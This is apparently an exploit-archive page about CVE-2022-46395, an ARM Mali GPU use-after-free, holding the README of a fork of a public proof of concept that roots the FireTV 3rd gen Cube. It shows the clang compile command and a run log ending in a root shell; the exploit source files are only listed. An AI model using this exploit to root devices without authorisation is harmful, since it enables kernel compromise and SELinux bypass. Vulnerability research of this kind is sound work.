Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-46395 PoC — ARM Mali GPU 资源管理错误漏洞

Source
Associated Vulnerability
Title:ARM Mali GPU 资源管理错误漏洞 (CVE-2022-46395)
Description:ARM Mali GPU是英国ARM公司的一款移动显示芯片组(GPUs)系列。和其他基于IP核心(IP cores)嵌入式技术的3D显示芯片一样,Mali显示芯片组没有提供特别用来驱动LCD显示器显示图像的显示控制器(类似于显卡),相反地,它是一个纯3D显示引擎,它将图像加载到缓存中,并且由专门负责图像显示处理的内置显示核心来显示这些图像。 ARM Mali GPU 存在安全漏洞,该漏洞源于非特权用户可以进行不正确的GPU处理操作来访问已释放的内存。
Description
CVE-2022-46395 POC for FireTV 3rd gen Cube (gazelle) 
Readme
## Exploit for CVE-2022-46395 to run on FireTV 3rd gen Cube

This is a fork of security researcher Man Yue Mo's <a href="https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Mali/CVE_2022_46395">Pixel 6 POC</a> for CVE-2022-46395.  Read his detailed write-up of the vulnerability <a href="https://github.blog/2023-05-25-rooting-with-root-cause-finding-a-variant-of-a-project-zero-bug/">here</a>.  Changes have been made to account for FireOS's 32-bit user space. The POC exploits a bug in the ARM Mali kernel driver to gain arbitrary kernel code execution, which is then used to disable SELinux and gain root.  

The exploit was patched in PS7664/3772 (September 2023). For reference, the following command was used to compile with clang in ndk-21:
```
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o gazelle_buf
```
For fastest results, run following a fresh reboot.  On average the POC takes 20-60sec to gain root.
```
gazelle:/ $ /data/local/tmp/gazelle_buf
fingerprint: Amazon/gazelle/gazelle:9/PS7652.3564N/0028488625152:user/amz-p,release-keys
benchmark_time 102
failed after 100
finished reset: 919423975 fault: 918468559 3795 err 0 read 3
found pgd at page 8
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
success after 128
gazelle:/ # 
```
File Snapshot

[4.0K] /data/pocs/d239bd12aea9494da49fe0d70d7dc291ad8853ab ├── [ 241] log_utils.h ├── [ 50K] mali_base_jm_kernel.h ├── [ 32K] mali.h ├── [ 27K] mali_user_buf.c ├── [2.0K] mempool_utils.c ├── [ 522] mempool_utils.h ├── [6.8K] mem_write.c ├── [1.1K] mem_write.h ├── [ 11K] midgard.h └── [1.4K] README.md 0 directories, 10 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.